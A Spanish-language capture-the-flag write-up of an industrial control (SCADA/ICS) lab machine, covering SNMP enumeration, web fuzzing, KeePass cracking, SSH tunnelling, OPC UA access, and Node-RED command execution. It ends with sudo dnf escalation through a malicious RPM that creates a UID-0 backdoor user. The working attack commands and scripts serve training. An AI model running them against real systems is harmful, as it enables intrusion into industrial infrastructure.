· Manuel López Pérez · writeups · 7 min read
CyberH2O: Reto 3 – Pentesting en Entornos SCADA/ICS
Write-up de la tercera y última máquina del cyberchallenge de CyberH2O, un entorno industrial con SNMP, OPC UA, Node-RED y escalada de privilegios.

🏆 ¡El equipo Ironhackers resultó ganador del CyberH2O Cyberchallenge y del premio de 1.500€! 🏆

En esta tercera y última entrega del cyberchallenge de CyberH2O, nos enfrentamos a un escenario más complejo: un entorno de control industrial híbrido. La intrusión se desarrolló en varias fases encadenadas y realistas.
Conseguimos resolver los 4 retos de esta máquina, desde el reconocimiento inicial hasta obtener acceso completo como root.
Resumen Ejecutivo
El ataque comenzó con la enumeración de un servicio SNMP expuesto mediante una community string por defecto, lo que permitió obtener la primera flag y credenciales reutilizadas posteriormente.
A partir de esta información se accedió a un servicio web protegido por autenticación básica, donde se descubrió una base de datos KeePass con credenciales adicionales.
Estas credenciales facilitaron el acceso por SSH al sistema. Desde el host se identificaron servicios internos no expuestos externamente, entre ellos OPC UA y Node-RED, tecnologías habituales en entornos SCADA.
La explotación de una configuración insegura en OPC UA permitió recuperar nuevas credenciales, que posteriormente otorgaron acceso administrativo a Node-RED.
El control total de Node-RED permitió la ejecución de comandos arbitrarios en el sistema, obteniendo una shell interactiva. Finalmente, una mala configuración de sudo permitió escalar privilegios hasta root, completando el compromiso total del sistema.
| Fase | Vector | Resultado |
|---|---|---|
| Reconocimiento | SNMP (161/udp) | Flag 1 + credenciales |
| Explotación | Web 58980 | KeePass + Flag 2 |
| Acceso | SSH | Shell usuario |
| Enumeración | OPC UA | Credenciales + Flag 3 |
| RCE | Node-RED | Shell interactiva |
| Privesc | sudo + dnf | Root (Flag 4) |
Fase de Reconocimiento y Enumeración
Escaneo de Puertos TCP
Iniciamos con un barrido de todos los puertos TCP utilizando nmap:
nmap -p- -T4 192.168.56.102
Este escaneo inicial reveló dos puertos abiertos:
- 22/tcp: SSH
- 58980/tcp: Servicio desconocido inicialmente
Enumeración de versiones y scripts:
nmap -sC -sV -p 22,58980 192.168.56.102
Resultados:
- 22/tcp (SSH): Identificado como OpenSSH 9.9
- 58980/tcp (HTTP): Servidor nginx 1.26.3. Responde con 401 Unauthorized y solicita autenticación bajo el realm “Restricted Access - Cyberchallange”
Escaneo de Puertos UDP
Dado que los entornos industriales (ICS) suelen utilizar protocolos basados en UDP, realizamos un escaneo dirigido:
nmap -T4 -sU -p- 192.168.56.102
Este escaneo fue crucial, ya que reveló un servicio adicional:
- 161/udp: SNMP (Simple Network Management Protocol)
Reto 1: Enumeración SNMP
Descubrimiento de Community String
Al identificar el puerto 161 abierto, procedimos a auditar el servicio SNMP. El primer paso fue descubrir la community string mediante un ataque de diccionario:
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.56.102La herramienta identificó exitosamente la community string pública por defecto: public.
Extracción de Información (SNMP Walk)
Una vez confirmado el acceso, enumeramos el árbol SNMP:
snmpwalk -v2c -c public 192.168.56.102
Con el OID del sistema, enumeramos la rama enterprises:
snmpwalk -v2c -c public 192.168.56.102 iso.3.6.1.4.1
Información Exfiltrada:
- Servicio:
localhost:58980 - Usuario:
sesame - Contraseña:
RcAfRMFH7ULHTyPMSTgA
Flag 1: HACK{RcA_fRMFH7ULHT_yPMSTgA}
Reto 2: Acceso Web y Exfiltración de Datos
Autenticación en el Panel de Control
Al navegar a http://192.168.56.102:58980, el servidor solicitó autenticación HTTP Basic Auth. Introdujimos las credenciales obtenidas:
- Usuario:
sesame - Contraseña:
RcAfRMFH7ULHTyPMSTgA

El acceso fue exitoso, revelando un panel de control “CyberChallenge 2025”.

Enumeración de Directorios (Fuzzing Autenticado)
Para descubrir rutas ocultas, utilizamos ffuf con las credenciales codificadas en Base64:
echo -n "sesame:RcAfRMFH7ULHTyPMSTgA" | base64
# c2VzYW1lOlJjQWZSTUZIN1VMSFR5UE1TVGdBffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-H "Authorization: Basic c2VzYW1lOlJjQWZSTUZIN1VMSFR5UE1TVGdB" \
-u http://192.168.56.102:58980/FUZZ
El escaneo reveló un directorio accesible: /uploaded_temp.

Exfiltración y Cracking de Base de Datos KeePass
Al acceder a /uploaded_temp, encontramos un archivo sospechoso: cyberchallange.kdbx.
wget --user sesame --password RcAfRMFH7ULHTyPMSTgA \
http://192.168.56.102:58980/uploaded_temp/cyberchallange.kdbx
Crackeo de la contraseña maestra:
python3 bfkeepass.py -d cyberchallange.kdbx -w /usr/share/seclists/Passwords/rockyou.txt
Contraseña maestra: iloveyou
Obtención de Credenciales y Flag 2
Abrimos el archivo en KeePassXC y encontramos una entrada crítica bajo el título [[SCADA]]:

Flag 2: HACK{VG8F7jraHfLf5lvWlVzzVw}
Credenciales de Sistema:
- Usuario:
control - Contraseña:
Bash5-Fragrant9-Flashcard6-Lake6-Undercoat8
Reto 3: Movimiento Lateral y Servicios Internos
Acceso SSH y Enumeración Local
Con las credenciales extraídas de KeePass, establecimos conexión SSH:
ssh control@192.168.56.102
Utilizamos LinPEAS para enumerar posibles vectores de escalada. Descubrimos servicios internos no accesibles desde el exterior:

- 4840/tcp: OPC UA (Unified Architecture)
- 1880/tcp: Node-RED
- 199/tcp: SMUX (SNMP Multiplexing)
Pivoting (Túnel SSH)
Para interactuar con estos servicios internos, configuramos túneles SSH:
ssh -L 4840:localhost:4840 -L 1880:localhost:1880 control@192.168.56.102Para verificar que los servicios internos están disponibles, ejecutamos un escaneo de puertos:
nmap -p- -T4 localhost
Enumeración OPC UA
OPC UA es un protocolo industrial para comunicación entre sistemas SCADA. Utilizamos un script Python para enumerar el servicio:
from opcua import Client, ua
URL = "opc.tcp://localhost:4840/freeopcua/server/"
client = Client(URL)
# No conectamos sesión, solo pedimos endpoints
endpoints = client.connect_and_get_server_endpoints()
for i, ep in enumerate(endpoints, 1):
print(f"\nEndpoint {i}:")
print(f" EndpointUrl: {ep.EndpointUrl}")
# Security Mode
mode = ua.MessageSecurityMode(ep.SecurityMode)
print(f" Security Mode: {mode.name}")
# Security Policy
policy = ep.SecurityPolicyUri.split("#")[-1]
print(f" Security Policy: {policy}")
# User Identity Tokens
print(" User Identity Tokens:")
for token in ep.UserIdentityTokens:
token_type = ua.UserTokenType(token.TokenType)
print(f" - {token_type.name}")
De esta enumeración se extrajeron las siguientes conclusiones:
- El servidor no permite acceso anónimo.
- El canal OPC UA requiere cifrado obligatorio (SignAndEncrypt).
- La autenticación se basa en identidad asociada a certificado cliente. El token UserName está presente, pero las credenciales reutilizadas del servicio HTTP del puerto 58980 no eran válidas. Dado que OPC UA permite autenticación basada en certificados X.509, se generó un certificado cliente válido:
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout opcua_client_key.pem \
-out opcua_client_cert.pem \
-days 365 \
-subj "/CN=opcua-client"
openssl x509 -in opcua_client_cert.pem -outform der -out opcua_client_cert.derSe utilizó un script de nuevo para establecer conexión segura al servidor OPC UA empleando el certificado cliente generado. Este script recorre todos los nodos del servidor OPC UA y muestra sus variables.
from opcua import Client, ua
URL = "opc.tcp://localhost:4840/freeopcua/server/"
client = Client(URL)
client.set_security_string(
"Basic256Sha256,SignAndEncrypt,opcua_client_cert.der,opcua_client_key.pem"
)
client.connect()
print("[+] Connected")
objects = client.get_objects_node()
def read_vars(node):
try:
for child in node.get_children():
try:
if child.get_node_class() == ua.NodeClass.Variable:
name = child.get_browse_name().Name
val = child.get_value()
print(f"[VAR] {name} = {val}")
read_vars(child)
except Exception:
pass
except Exception:
pass
read_vars(objects)
client.disconnect()
print("[+] Done")Ahora sí, por fin vemos algo interesante, entre todo el ouput que genera este script vemos:
![]()
Descifrado y Flag 3
Identificamos que las cadenas utilizaban un cifrado por desplazamiento (César/ROT). Al probar diferentes rotaciones, determinamos que se trataba de ROT14 (incluyendo la ‘ñ’ en el alfabeto).

Flag 3: HACK{U58O2mMy9uEQRZw5EbD5rw}
Credenciales Node-RED: admin : Battered5-Infatwo3-Supervisor0
Reto 4: Escalada de Privilegios a Root
Acceso a Node-RED y RCE
Con las credenciales recuperadas del servicio OPC UA, accedimos al panel de administración de Node-RED a través del túnel SSH en el puerto 1880.

Node-RED permite crear flujos de datos visuales. Construimos un payload para obtener una shell:
- tcp in: Escucha en el puerto 1337 en localhost.
- exec: Ejecuta el payload como comando de sistema.
- tcp out: Envía la salida del comando de vuelta.

Configuramos el nodo TCP IN:

Tras desplegar el flujo, nos conectamos al puerto de escucha:
ssh -R 1337:localhost:1337 control@192.168.56.102
nc -lvp 1337
Confirmamos acceso como el usuario supervisor.
Enumeración de Privilegios (Sudoers)
Verificamos los permisos de superusuario:
sudo -l
La salida reveló una configuración insegura:
User supervisor may run the following commands on control-hidrico:
(ALL) NOPASSWD: /usr/bin/dnfCreación del Exploit (RPM Malicioso)
Consultando GTFOBins, confirmamos que es posible escalar privilegios utilizando dnf mediante un paquete RPM modificado:

# 1. Definimos una carpeta temporal y creamos el script de post-instalación
TF=$(mktemp -d)
cat > $TF/pwn.sh << 'EOF'
#!/bin/bash
useradd -o -u 0 -g 0 adminroot
echo 'adminroot:adminroot' | chpasswd
EOF
# 2. Damos permisos de ejecución
chmod +x $TF/pwn.sh
# 3. Construimos el paquete RPM malicioso
fpm -n x -s dir -t rpm -a all --before-install $TF/pwn.sh $TFEste script crea un paquete RPM que ejecuta el script pwn.sh como post-instalación. El script pwn.sh crea un nuevo usuario adminroot con UID y GID 0, y le asigna la contraseña adminroot. 
Ejecución de la Escalada
Transferimos el archivo a la máquina víctima y ejecutamos:

sudo dnf install -y /tmp/x-1.0-1.noarch.rpm --disablerepo=*
Finalmente, cambiamos al nuevo usuario administrativo:
su adminroot
# Password: adminroot
Flag 4 (Root): HACK{RmCadtMz7cas9FPJ!bvh}
Conclusiones
La resolución de este reto pone de manifiesto cómo una cadena de fallos de configuración y malas prácticas de seguridad, individualmente sencillos, puede combinarse para comprometer por completo un entorno de control industrial.
| Vulnerabilidad | Impacto |
|---|---|
| SNMP con community string por defecto | Fuga de credenciales |
| Directorio web expuesto | Exfiltración de KeePass |
| Contraseña débil en KeePass | Acceso a credenciales internas |
| OPC UA mal configurado | Fuga de credenciales adicionales |
| Node-RED con privilegios excesivos | RCE como usuario supervisor |
| Sudo mal configurado con dnf | Escalada a root |
El compromiso progresivo del sistema, desde servicios como SNMP y OPC UA hasta servicios de automatización como Node-RED y el propio host, refleja un escenario realista en infraestructuras industriales modernas, donde la falta de segmentación entre dominios IT y OT puede derivar en un impacto crítico.
📖 ¿Quieres saber más sobre el reto bonus de AI Hacking? Hemos escrito un artículo dedicado sobre seguridad en LLMs y cómo resolvimos el reto del Agente A.D.I.C. 7: Seguridad en LLMs: Modelado de Amenazas y Prompt Injection

